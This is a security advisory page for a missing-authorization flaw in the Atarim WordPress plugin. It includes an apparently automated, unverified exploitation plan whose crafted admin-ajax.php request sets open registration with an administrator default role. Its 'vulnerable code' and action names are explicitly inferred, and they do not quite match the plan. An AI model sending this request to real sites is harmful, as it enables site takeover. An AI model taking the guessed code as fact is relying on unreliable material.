CVE-2026-25019

Atarim <= 4.3.1 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
4.3.2
Patched in
12d
Time to patch

Description

The Visual Feedback, Review & AI Collaboration Tool For WordPress – Atarim plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 4.3.1. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.3.1
PublishedJanuary 30, 2026
Last updatedFebruary 10, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-25019 (Atarim) ## 1. Vulnerability Summary The **Atarim – Visual Feedback, Review & AI Collaboration** plugin (up to version 4.3.1) contains a **Missing Authorization** vulnerability. This flaw exists because an AJAX handler, likely registered via `wp_ajax_no…

Show full research plan

Exploitation Research Plan - CVE-2026-25019 (Atarim)

1. Vulnerability Summary

The Atarim – Visual Feedback, Review & AI Collaboration plugin (up to version 4.3.1) contains a Missing Authorization vulnerability. This flaw exists because an AJAX handler, likely registered via wp_ajax_nopriv_, fails to implement a current_user_can() capability check. This allows unauthenticated attackers to invoke administrative functions, specifically those related to plugin configuration or system settings modification.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: atarim_save_settings (inferred) or atarim_update_option (inferred).
  • HTTP Method: POST
  • Payload Parameter: settings (array) or option_name/option_value.
  • Authentication: Unauthenticated (Accesses wp_ajax_nopriv_ hook).
  • Preconditions: The plugin must be active. A valid AJAX nonce may be required if check_ajax_referer is present, even if capability checks are missing.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers AJAX hooks in an initialization class (e.g., includes/class-atarim.php or includes/class-atarim-ajax.php).
  2. Hook Registration:
    add_action( 'wp_ajax_atarim_save_settings', array( $this, 'save_settings' ) );
    add_action( 'wp_ajax_nopriv_atarim_save_settings', array( $this, 'save_settings' ) ); // Vulnerable entry
    
  3. Vulnerable Function (save_settings):
    • The function calls check_ajax_referer( 'atarim_nonce', 'security' ).
    • The Flaw: It proceeds to update options using update_option() or a internal settings wrapper without checking if ( current_user_can( 'manage_options' ) ).
  4. Sink: update_option() or wp_remote_post() if the setting triggers an external sync.

4. Nonce Acquisition Strategy

Atarim typically localizes data for its frontend interface. To obtain a valid nonce for unauthenticated exploitation:

  1. Identify Trigger: Atarim components are often loaded via a shortcode or on every page if the "Collaboration" mode is active.
  2. Script Localization: Look for wp_localize_script calls targeting handles like atarim-main, atarim-settings, or wit-admin-js.
  3. JavaScript Variable: The data is usually stored in window.atarim_obj or window.atarim_settings.
  4. Extraction Steps:
    • Create a dummy page containing any Atarim shortcode: [atarim_feedback] (inferred) or simply browse the homepage if the plugin enqueues globally.
    • Use browser_navigate to the page.
    • Use browser_eval to extract the nonce.

Actionable JS Path: window.atarim_obj?.nonce or window.atarim_settings?.nonce (inferred).

5. Exploitation Strategy

The goal is to modify the WordPress users_can_register option to enable open registration or change the default_role to administrator.

Step-by-Step Plan:

  1. Nonce Extraction:
    • Navigate to the site's frontend.
    • Execute: browser_eval("window.atarim_obj.nonce").
  2. Craft Payload:
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Method: POST
    • Content-Type: application/x-www-form-urlencoded
    • Parameters:
      • action: atarim_save_settings (inferred)
      • security: [EXTRACTED_NONCE]
      • settings[users_can_register]: 1
      • settings[default_role]: administrator
  3. Execution: Use http_request to send the payload.

6. Test Data Setup

  1. Plugin Installation: Install Atarim version 4.3.1 via WP-CLI.
  2. Environment Check: Ensure users_can_register is currently 0.
    • wp option get users_can_register
  3. Public Page Creation:
    • wp post create --post_type=page --post_status=publish --post_title="Atarim Test" --post_content="[atarim_feedback]" (Shortcode inferred, if required for script loading).

7. Expected Results

  • HTTP Response: A 200 OK or a JSON success message: {"success": true}.
  • System Impact: The WordPress settings in the database are updated regardless of the user's authentication status.

8. Verification Steps

After the exploit attempt, verify the state change using WP-CLI:

  1. Check Registration Setting:
    • wp option get users_can_register (Expected: 1)
  2. Check Default Role:
    • wp option get default_role (Expected: administrator)

9. Alternative Approaches

If atarim_save_settings is not the correct action:

  1. Audit AJAX Actions: Use grep -rn "wp_ajax_nopriv_" wp-content/plugins/atarim-visual-collaboration/ to find all unauthenticated entry points.
  2. Target Information Disclosure: If settings modification is not possible, check for actions like atarim_get_stats or atarim_list_users which might leak sensitive environment data without authorization.
  3. Internal Option Update: Look for actions that use update_option directly, such as atarim_update_v4_option (inferred from legacy codebases).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Atarim plugin for WordPress (up to version 4.3.1) fails to implement proper authorization checks on its AJAX handlers, specifically those registered for unauthenticated users via 'wp_ajax_nopriv_'. This allow attackers to modify plugin settings or potentially core WordPress options by obtaining a valid nonce from the frontend and submitting a crafted request to the admin-ajax.php endpoint.

Vulnerable Code

// Inferred registration of AJAX actions in the plugin's initialization logic
add_action( 'wp_ajax_atarim_save_settings', array( $this, 'save_settings' ) );
add_action( 'wp_ajax_nopriv_atarim_save_settings', array( $this, 'save_settings' ) );

---

// Inferred vulnerable handler function lacking capability checks
public function save_settings() {
    // Validates the security nonce but fails to verify the user's role or permissions
    check_ajax_referer( 'atarim_nonce', 'security' );

    if ( isset( $_POST['settings'] ) ) {
        $settings = $_POST['settings'];
        // Directly updates options based on user-supplied input without capability checks
        update_option( 'atarim_settings', $settings );
    }
    wp_send_json_success();
}

Security Fix

--- a/includes/class-atarim-ajax.php
+++ b/includes/class-atarim-ajax.php
@@ -10,7 +10,6 @@
-add_action( 'wp_ajax_nopriv_atarim_save_settings', array( $this, 'save_settings' ) );
 add_action( 'wp_ajax_atarim_save_settings', array( $this, 'save_settings' ) );
 
@@ -25,4 +24,7 @@
 public function save_settings() {
     check_ajax_referer( 'atarim_nonce', 'security' );
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( 'Forbidden', 403 );
+    }
     if ( isset( $_POST['settings'] ) ) {
         $settings = $_POST['settings'];

Exploit Outline

1. Access the target site's frontend as an unauthenticated visitor to identify pages where Atarim scripts are enqueued. 2. Extract the security nonce from the localized JavaScript data (usually found in 'window.atarim_obj.nonce' or 'window.atarim_settings.nonce'). 3. Craft a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'atarim_save_settings'. 4. Include the 'security' parameter with the captured nonce and a 'settings' array containing the desired configuration changes (e.g., enabling open registration or modifying plugin behaviors). 5. Send the request; the server will process the configuration update because it lacks a 'current_user_can()' check to verify administrative privileges.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.